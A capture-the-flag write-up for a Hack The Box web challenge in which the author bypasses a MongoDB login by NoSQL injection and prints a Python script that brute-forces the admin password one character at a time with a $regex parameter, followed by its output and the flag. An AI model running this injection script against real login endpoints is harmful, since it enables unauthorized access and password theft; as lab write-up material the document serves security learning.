I first checked the challenge page. I was greeted with a login screen :![](https://0x90skids.com/htb-ctf-writeup/images/htb-ctf/wild_goose_hunt_login.png)After looking at the login screen a little bit, I went ahead and looked at the challenge's downloadable source code. I saw that this challenge was using MongoDB and that the flag was the admin password. This means that we need to either get inside the database or login using a NoSQL injection. I've tried different payloads using Burp and finally got one that worked :![](https://0x90skids.com/htb-ctf-writeup/images/htb-ctf/wild_goose_hunt_burp.png)The working payload was found via an article on ([HackTricks](https://book.hacktricks.xyz/pentesting-web/nosql-injection)). This article also shows a script that brute-force each character (username or password) using regex. I modified this script to fit the challenge. Here's my final script :```pythonimport requests, string, json, sys
url = "http://178.62.14.240:32507/api/login"possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]def get_password():    print("Bruteforcing password... Please wait!")    params = {"username":"admin", "password[$regex]":""}    password = "^CHTB{"    print(password[1:].replace("\\", ""))    while True:        for c in possible_chars:            params["password[$regex]"] = password + c + ".*"            pr = requests.post(url, data=params, verify=False, allow_redirects=False)            data_raw = json.loads(pr.text)            data = json.dumps(data_raw, indent=2)            if "Login Successful" in data:                password += c                print(password[1:].replace("\\", ""))                break        if c == possible_chars[-1]:            print("Found password : "+password[1:].replace("\\", ""))
get_password()```Here's the output from my script :```Bruteforcing password... Please wait!CHTB{CHTB{1CHTB{1_CHTB{1_tCHTB{1_thCHTB{1_th1CHTB{1_th1nCHTB{1_th1nkCHTB{1_th1nk_CHTB{1_th1nk_tCHTB{1_th1nk_thCHTB{1_th1nk_theCHTB{1_th1nk_the_CHTB{1_th1nk_the_4CHTB{1_th1nk_the_4lCHTB{1_th1nk_the_4l1CHTB{1_th1nk_the_4l1eCHTB{1_th1nk_the_4l1enCHTB{1_th1nk_the_4l1ensCHTB{1_th1nk_the_4l1ens_CHTB{1_th1nk_the_4l1ens_hCHTB{1_th1nk_the_4l1ens_h4CHTB{1_th1nk_the_4l1ens_h4vCHTB{1_th1nk_the_4l1ens_h4veCHTB{1_th1nk_the_4l1ens_h4ve_CHTB{1_th1nk_the_4l1ens_h4ve_nCHTB{1_th1nk_the_4l1ens_h4ve_n0CHTB{1_th1nk_the_4l1ens_h4ve_n0tCHTB{1_th1nk_the_4l1ens_h4ve_n0t_CHTB{1_th1nk_the_4l1ens_h4ve_n0t_uCHTB{1_th1nk_the_4l1ens_h4ve_n0t_usCHTB{1_th1nk_the_4l1ens_h4ve_n0t_useCHTB{1_th1nk_the_4l1ens_h4ve_n0t_usedCHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_mCHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0nCHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ngCHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_bCHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3fCHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0rCHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}Found password : CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}```Bingo! Interesting challenge that helped me understand NoSQL auth bypass techniques.
`CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}`